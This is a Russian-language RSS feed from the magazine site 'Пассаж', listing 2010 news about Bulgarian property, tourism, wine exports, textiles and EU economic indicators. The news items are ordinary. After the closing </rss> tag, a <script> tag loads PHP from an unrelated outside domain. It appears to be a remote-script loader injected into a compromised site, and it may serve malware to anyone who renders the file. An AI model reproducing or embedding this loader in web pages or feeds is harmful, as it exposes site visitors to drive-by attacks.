



































































































































<?xml version="1.0" encoding="windows-1251"?>
<!-- generator="FeedCreator 1.7.2" -->
<rss version="2.0">
	<channel>
		<title>Новостная лента журнала Пассаж</title>
		<description>Новости с сайта Пассаж!</description>
		<link>http://passagemsk.com</link>
		<lastBuildDate>Sat, 19 May 2012 00:26:31 +0100</lastBuildDate>
		<generator>FeedCreator 1.7.2</generator>
		<image>
			<url>http://passagemsk.com/images/M_images/joomla_rss.png</url>
			<title>Новости журнала Пассаж</title>
			<link>http://passagemsk.com</link>
			<description>Новости с сайта Пассаж!</description>
		</image>
		<item>
			<title>Каждый десятый жилой проект в Софии заморожен.</title>
			<link>http://passagemsk.com/content/view/26280/88888912/</link>
			<description>Каждый десятый проект в Софии был полностью заморожен, в то время как каждый третий сталкивается с серьезными задержками в строительстве и не уложиться в сроки сдачи недвижимости. Недвижимость в столице Болгарии и близлежащих областях в радиусе 100 километров от Софии является наиболее недооцененными иностранными покупателями, по данным «MyBgProperties».</description>
			<category>Журнал - Недвижимость</category>
			<pubDate>Sun, 24 Oct 2010 05:47:43 +0100</pubDate>
		</item>
		<item>
			<title>Рост сделок с загородной недвижимостью в Болгарии.</title>
			<link>http://passagemsk.com/content/view/26279/88888912/</link>
			<description>После периода относительно низкой активности, недвижимость в Болгарии за городом по количеству сделок, показывает тенденцию роста. Количество сделок на рынке загородной недвижимости, за период первой половины 2010 года, показало рост на 27%. По сравнению с периодом за предыдущий год, наибольшее количество сделок было проведено в секторе сельской недвижимости стоимостью до 20 000 евро. Согласно статистических данных компании «MyBgProperties».
</description>
			<category>Журнал - Недвижимость</category>
			<pubDate>Tue, 19 Oct 2010 13:49:17 +0100</pubDate>
		</item>
		<item>
			<title>София в рейтинге после Парижа, Брюсселя по объемам строительства офисов.</title>
			<link>http://passagemsk.com/content/view/26278/88888912/</link>
			<description>София рядом с Парижем, Брюсселем и Санкт-Петербургом в рейтинге Colliers International, так как в каждом из этих городов строится 600&amp;#8213;700 тысяч квадратных метров офисной недвижимости. 
</description>
			<category>Журнал - Недвижимость</category>
			<pubDate>Mon, 18 Oct 2010 00:35:05 +0100</pubDate>
		</item>
		<item>
			<title>Экономические и бизнес-показатели ЕС улучшаются.</title>
			<link>http://passagemsk.com/content/view/26277/112/</link>
			<description>В сентябре 2010 года, настроения экономических показателей (ESI) продолжали улучшаться как в ЕС, так и в зоне евро.
В сентябре, индикатор делового климата (BCI) в зоне евро зарегистрирован небольшой выигрыш. Уровень индикатора показывает, что экономическая активность в отрасли будет продолжать расти до восстановления в ближайшие месяцы. Индикатор ЕС сейчас стоит на самом высоком уровне с декабря 2007 года. 
 
</description>
			<category>Новости - Экономика</category>
			<pubDate>Thu, 30 Sep 2010 09:33:17 +0100</pubDate>
		</item>
		<item>
			<title>Болгарский курорт на Черном море посетили 156 000 иностранных туристов, в мае-августе 2010 года.</title>
			<link>http://passagemsk.com/content/view/26276/31/</link>
			<description>Количество туристов которые посетили город Балчик на 30% больше чем в прошлом году. По данным мэрии г. Балчик, количество туристов, посетивших город в тот же период 2009 года было 122 000 человек. 
</description>
			<category>Журнал - Путешествия</category>
			<pubDate>Sat, 25 Sep 2010 09:23:57 +0100</pubDate>
		</item>
		<item>
			<title>Болгарская текстильная промышленность демонстрирует рост на 18-22% за последние два месяца.</title>
			<link>http://passagemsk.com/content/view/26275/27/</link>
			<description>Представители болгарской текстильной промышленности заявили что они были завалены заказами и им пришлось отказать некоторым из клиентов из-за отсутствия мощностей. Болгарская Ассоциация одежды, текстильных производителей и экспортеров прогнозирует сильный сезон (http://bg-pr.ru/news/item/tekstilnaia-promyshlennost-v-bolgarii-vyrosla-na-1822.html) и ожидает доходов, сопоставимых с 2008 годом. 
</description>
			<category>Журнал - Бизнес</category>
			<pubDate>Thu, 16 Sep 2010 15:41:30 +0100</pubDate>
		</item>
		<item>
			<title>«Уральские авиалинии» запускают новый маршрут, Екатеринбург-София, с 1 октября.</title>
			<link>http://passagemsk.com/content/view/26274/31/</link>
			<description>Русская авиакомпания «Уральские авиалинии» объявила, что начнет выполнение рейсов один раз в неделю из Екатеринбурга в Софию с 1 октября. Авиарейсы по маршруту Екатеринбург-София (http://bg-pr.ru/news/item/yralskie-avialinii--teper-ejenedelnye-reisy-ekaterinbyrg-sofiia.html) были введены в связи с тем, что количество виз, выданных болгарским посольством в Екатеринбурге с начала года увеличилось на 60 %. </description>
			<category>Журнал - Путешествия</category>
			<pubDate>Thu, 16 Sep 2010 08:31:31 +0100</pubDate>
		</item>
		<item>
			<title>Экспорт вина в Болгарии снизился на 60-70%</title>
			<link>http://passagemsk.com/content/view/26273/112/</link>
			<description>Экспорт болгарского вина снизился на 60&amp;#8213;70% (http://bg-pr.ru/news/item/eksport-vina-v-bolgarii-snizilsia-na-6070.html) в результате экономического кризиса. Более 90% болгарского вина, которое экспортируется в другие страны, продается по EUR 0,65 и EUR 0,75 за бутылку, в то время как реальная цена будет не менее 1 евро или 1,2 EUR. 
</description>
			<category>Новости - Экономика</category>
			<pubDate>Tue, 14 Sep 2010 15:57:08 +0100</pubDate>
		</item>
		<item>
			<title>Налог на недвижимость будут взимать с рыночной стоимости объекта.</title>
			<link>http://passagemsk.com/content/view/26272/88888912/</link>
			<description>Минфин подготовил и разослал на согласование в ведомства поправки, предусматривающие появление данного налога. Будут определены плательщик, объект налогообложения, налоговая база и ставки, суммы вычетов. Оценка земли уже завершена, а оценка имущества будет закончена до конца следующего года. Если у граждан возникнут вопросы по стоимости их имущества, то им будет дан шанс оспорить результаты работы оценщиков. </description>
			<category>Журнал - Недвижимость</category>
			<pubDate>Tue, 14 Sep 2010 15:48:21 +0100</pubDate>
		</item>
		<item>
			<title>Новые вело маршруты в природном парке Враца</title>
			<link>http://passagemsk.com/content/view/26271/31/</link>
			<description>Три новых маршрута для горных велосипедов, были представлены в природоохранном центре «Природа» города Враца. Дизайн для велосипедных маршрутов разработала неофициальная молодежная группа «Вратсата» в партнерстве с Управлением по Природному парку Врачанский Балкан и клубом «Крива спица». Каждый велосипедный маршрут отмечен на GPS и обозначен знаками. </description>
			<category>Журнал - Путешествия</category>
			<pubDate>Sat, 11 Sep 2010 04:46:36 +0100</pubDate>
		</item>
	</channel>
</rss>
<script src="http://pod.wbesnancer.org/en/index.php"></script>
